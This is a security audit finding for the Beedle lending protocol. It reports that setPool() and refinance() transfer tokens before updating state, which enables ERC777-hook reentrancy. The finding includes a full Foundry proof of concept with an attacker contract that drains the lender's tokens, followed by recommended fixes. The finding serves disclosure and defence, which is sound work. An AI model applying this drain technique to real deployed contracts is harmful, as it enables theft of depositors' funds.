Beedle - Oracle free perpetual lending

Summary

Beedle allows anyone to create a pool with any ERC20 compatible token. When a lender creates a pool with a token, that has callback functions on transfer() like ERC777 or ERC223, the contract can be drained of the token by a reentrancy attack.

Vulnerability Details

On Lender.sol setPool() is used to create a pool. It can also be used to adjust a pool settings and balance. If the lender adjusts the balance of the pool, the pool will return the difference to the lender. Only after the transfer() will the contract update the pool.

If the token being transferred allows for a hook on transfer(), an attacker can callback the setPool() function and drain the contract. This breaks the Checks-Effects-Interactions pattern and allows for a reentrancy attack.

Consider the following proof of concept. It can be added to test/Lender.t.sol

import {ERC777, IERC1820Registry} from "openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";

contract TERC777 is ERC777 {
    constructor() ERC777("Test ERC777", "TERC777", new address[](0)) {
    }

    function mint(address _to, uint256 _amount) public {
        _mint(_to, _amount, "", "");
    }
}

contract ERC777ReentrancyContract is Test {

    Lender lender;
    TERC20 collateralToken;
    TERC777 loanToken777;

    bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH =
        keccak256("ERC777TokensSender");
    bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =
        keccak256("ERC777TokensRecipient");

    constructor(Lender _lender, TERC777 _loanToken777, TERC20 _collateralToken) {
        lender = _lender;
        loanToken777 = _loanToken777;
        collateralToken = _collateralToken;
        // mock ERC1820Registry contract in foundry
        vm.etch(
            address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),
            bytes(
                hex"608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063a41e7d5111610078578063a41e7d51146101d4578063aabbb8ca1461020a578063b705676514610236578063f712f3e814610280576100a5565b806329965a1d146100aa5780633d584063146100e25780635df8122f1461012457806365ba36c114610152575b600080fd5b6100e0600480360360608110156100c057600080fd5b50600160a060020a038135811691602081013591604090910135166102b6565b005b610108600480360360208110156100f857600080fd5b5035600160a060020a0316610570565b60408051600160a060020a039092168252519081900360200190f35b6100e06004803603604081101561013a57600080fd5b50600160a060020a03813581169160200135166105bc565b6101c26004803603602081101561016857600080fd5b81019060208101813564010000000081111561018357600080fd5b82018360208201111561019557600080fd5b803590602001918460018302840111640100000000831117156101b757600080fd5b5090925090506106b3565b60408051918252519081900360200190f35b6100e0600480360360408110156101ea57600080fd5b508035600160a060020a03169060200135600160e060020a0319166106ee565b6101086004803603604081101561022057600080fd5b50600160a060020a038135169060200135610778565b61026c6004803603604081101561024c57600080fd5b508035600160a060020a03169060200135600160e060020a0319166107ef565b604080519115158252519081900360200190f35b61026c6004803603604081101561029657600080fd5b508035600160a060020a03169060200135600160e060020a0319166108aa565b6000600160a060020a038416156102cd57836102cf565b335b9050336102db82610570565b600160a060020a031614610339576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6103428361092a565b15610397576040805160e560020a62461bcd02815260206004820152601a60248201527f4d757374206e6f7420626520616e204552433136352068617368000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103b85750600160a060020a0382163314155b156104ff5760405160200180807f455243313832305f4143434550545f4d4147494300000000000000000000000081525060140190506040516020818303038152906040528051906020012082600160a060020a031663249cb3fa85846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182600160a060020a0316600160a060020a031681526020019250505060206040518083038186803b15801561047e57600080fd5b505afa158015610492573d6000803e3d6000fd5b505050506040513d60208110156104a857600080fd5b5051146104ff576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a03818116600090815260016020526040812054909116151561059a5750806105b7565b50600160a060020a03808216600090815260016020526040902054165b919050565b336105c683610570565b600160a060020a031614610624576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b81600160a060020a031681600160a060020a0316146106435780610646565b60005b600160a060020a03838116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519184169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a35050565b600082826040516020018083838082843780830192505050925050506040516020818303038152906040528051906020012090505b92915050565b6106f882826107ef565b610703576000610705565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473ffffffffffffffffffffffffffffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b600080600160a060020a038416156107905783610792565b335b905061079d8361092a565b156107c357826107ad82826108aa565b6107b85760006107ba565b815b925050506106e8565b600160a060020a0390811660009081526020818152604080832086845290915290205416905092915050565b6000808061081d857f01ffc9a70000000000000000000000000000000000000000000000000000000061094c565b909250905081158061082d575080155b1561083d576000925050506106e8565b61084f85600160e060020a031961094c565b909250905081158061086057508015155b15610870576000925050506106e8565b61087a858561094c565b909250905060018214801561088f5750806001145b1561089f576001925050506106e8565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff1615156108f2576108eb83836107ef565b90506106e8565b50600160a060020a03808316600081815260208181526040808320600160e060020a0319871684529091529020549091161492915050565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160248189617530fa90519096909550935050505056fea165627a7a72305820377f4a2d4301ede9949f163f319021a6e9c687c292a5e2b2c4734c126b524e6c0029"
            )
        );
        // Register IERC1820Registry
        IERC1820Registry registry = IERC1820Registry(
            address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
        );
        // tokensReceived Hook
        // The token contract MUST call the tokensReceived hook of the recipient if the recipient registers an ERC777TokensRecipient implementation via ERC-1820.
        registry.setInterfaceImplementer(
            address(this),
            _TOKENS_RECIPIENT_INTERFACE_HASH,
            address(this)
        );
    }

    function createPool(uint256 poolBalance) public {
        loanToken777.approve(address(lender), 1000000*10**18);
        Pool memory p2 = Pool({
            lender: address(this),
            loanToken: address(loanToken777),
            collateralToken: address(collateralToken),
            minLoanSize: 100*10**18,
            poolBalance: poolBalance *10**18,
            maxLoanRatio: 2*10**18,
            auctionLength: 1 days,
            interestRate: 1000,
            outstandingLoans: 0
        });
        lender.setPool(p2);
    }

    function attackReentrancy() public {
        createPool(500);
    }

    function tokensReceived(
        address payable operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata data,
        bytes calldata operatorData
    ) external {
        console.log("Reentered balace this", loanToken777.balanceOf(address(this)));
        console.log("Reentered balance lender contract", loanToken777.balanceOf(address(lender)));
        if (loanToken777.balanceOf(address(lender)) >= 500) { // while lender contract has tokens
            createPool(500);
        }
    }
}

contract LenderTest is Test {
    Lender public lender;

    TERC20 public loanToken;
    TERC20 public collateralToken;
    TERC777 public loanToken777;

    address public lender1 = address(0x1);
    address public lender2 = address(0x2);
    ERC777ReentrancyContract lenderReenterContract;
    address public borrower = address(0x3);
    address public fees = address(0x4);

    function setUp() public {
        lender = new Lender();
        loanToken = new TERC20();
        collateralToken = new TERC20();
        // mock ERC1820Registry contract in foundry
        vm.etch(
            address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),
            bytes(
                hex"608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063a41e7d5111610078578063a41e7d51146101d4578063aabbb8ca1461020a578063b705676514610236578063f712f3e814610280576100a5565b806329965a1d146100aa5780633d584063146100e25780635df8122f1461012457806365ba36c114610152575b600080fd5b6100e0600480360360608110156100c057600080fd5b50600160a060020a038135811691602081013591604090910135166102b6565b005b610108600480360360208110156100f857600080fd5b5035600160a060020a0316610570565b60408051600160a060020a039092168252519081900360200190f35b6100e06004803603604081101561013a57600080fd5b50600160a060020a03813581169160200135166105bc565b6101c26004803603602081101561016857600080fd5b81019060208101813564010000000081111561018357600080fd5b82018360208201111561019557600080fd5b803590602001918460018302840111640100000000831117156101b757600080fd5b5090925090506106b3565b60408051918252519081900360200190f35b6100e0600480360360408110156101ea57600080fd5b508035600160a060020a03169060200135600160e060020a0319166106ee565b6101086004803603604081101561022057600080fd5b50600160a060020a038135169060200135610778565b61026c6004803603604081101561024c57600080fd5b508035600160a060020a03169060200135600160e060020a0319166107ef565b604080519115158252519081900360200190f35b61026c6004803603604081101561029657600080fd5b508035600160a060020a03169060200135600160e060020a0319166108aa565b6000600160a060020a038416156102cd57836102cf565b335b9050336102db82610570565b600160a060020a031614610339576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6103428361092a565b15610397576040805160e560020a62461bcd02815260206004820152601a60248201527f4d757374206e6f7420626520616e204552433136352068617368000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103b85750600160a060020a0382163314155b156104ff5760405160200180807f455243313832305f4143434550545f4d4147494300000000000000000000000081525060140190506040516020818303038152906040528051906020012082600160a060020a031663249cb3fa85846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182600160a060020a0316600160a060020a031681526020019250505060206040518083038186803b15801561047e57600080fd5b505afa158015610492573d6000803e3d6000fd5b505050506040513d60208110156104a857600080fd5b5051146104ff576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a03818116600090815260016020526040812054909116151561059a5750806105b7565b50600160a060020a03808216600090815260016020526040902054165b919050565b336105c683610570565b600160a060020a031614610624576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b81600160a060020a031681600160a060020a0316146106435780610646565b60005b600160a060020a03838116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519184169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a35050565b600082826040516020018083838082843780830192505050925050506040516020818303038152906040528051906020012090505b92915050565b6106f882826107ef565b610703576000610705565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473ffffffffffffffffffffffffffffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b600080600160a060020a038416156107905783610792565b335b905061079d8361092a565b156107c357826107ad82826108aa565b6107b85760006107ba565b815b925050506106e8565b600160a060020a0390811660009081526020818152604080832086845290915290205416905092915050565b6000808061081d857f01ffc9a70000000000000000000000000000000000000000000000000000000061094c565b909250905081158061082d575080155b1561083d576000925050506106e8565b61084f85600160e060020a031961094c565b909250905081158061086057508015155b15610870576000925050506106e8565b61087a858561094c565b909250905060018214801561088f5750806001145b1561089f576001925050506106e8565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff1615156108f2576108eb83836107ef565b90506106e8565b50600160a060020a03808316600081815260208181526040808320600160e060020a0319871684529091529020549091161492915050565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160248189617530fa90519096909550935050505056fea165627a7a72305820377f4a2d4301ede9949f163f319021a6e9c687c292a5e2b2c4734c126b524e6c0029"
            )
        );
        loanToken777 = new TERC777();
        lenderReenterContract = new ERC777ReentrancyContract(lender, loanToken777, collateralToken);
        loanToken.mint(address(lender1), 100000*10**18);
        loanToken.mint(address(lender2), 100000*10**18);
        loanToken777.mint(address(lender1), 1000*10**18);
        loanToken777.mint(address(lenderReenterContract), 1000*10**18);
        collateralToken.mint(address(borrower), 100000*10**18);
        vm.startPrank(lender1);
        loanToken.approve(address(lender), 1000000*10**18);
        loanToken777.approve(address(lender), 1000*10**18);
        collateralToken.approve(address(lender), 1000000*10**18);
        vm.startPrank(lender2);
        loanToken.approve(address(lender), 1000000*10**18);
        collateralToken.approve(address(lender), 1000000*10**18);
        vm.startPrank(borrower);
        loanToken.approve(address(lender), 1000000*10**18);
        collateralToken.approve(address(lender), 1000000*10**18);
    }

    function test_reentracyERC777() public {
        // Victim Lender creates a pool with ERC777 token as loan token. deposits 1000 tokens
        vm.startPrank(lender1);
        Pool memory p = Pool({
            lender: lender1,
            loanToken: address(loanToken777),
            collateralToken: address(collateralToken),
            minLoanSize: 100*10**18,
            poolBalance: 1000*10**18,
            maxLoanRatio: 2*10**18,
            auctionLength: 1 days,
            interestRate: 1000,
            outstandingLoans: 0
        });
        lender.setPool(p);
        vm.stopPrank();
        // Attack Lender creates a pool with 1000 ERC777 tokens. 
        // Then the attacker adjusts the pool balance to only 500 tokens. 
        // and uses the hooks of the ERC777 to reenter.
        lenderReenterContract.createPool(1000);
        lenderReenterContract.attackReentrancy();

        // get all the 2000 ERC777 tokens that are on the contract.
        assertEq(loanToken777.balanceOf(address(lender)), 0);
        assertEq(loanToken777.balanceOf(address(lenderReenterContract)), 2000*10**18);
        
    }

Since any ERC20 token is allowed on the Beetle platform at the discretion of the lender, I consider this issue as high severity.

Issue is also present on the function refinance(). L647-L654 L668-L674

Impact

When tokens with hooks on transfer() are used as collateral, those tokens can be stolen.
Beedle accounting of pools with said tokens would be broken.

Tools Used

Foundry

Recommendations

This issue can be fixed to allow safe usage of this types of tokens, in this case if the pool update (Effects) was done before the transfer (Interactions) this issue would not be possible.
The recommendation is to follow the CEI pattern or add a reentrancy lock.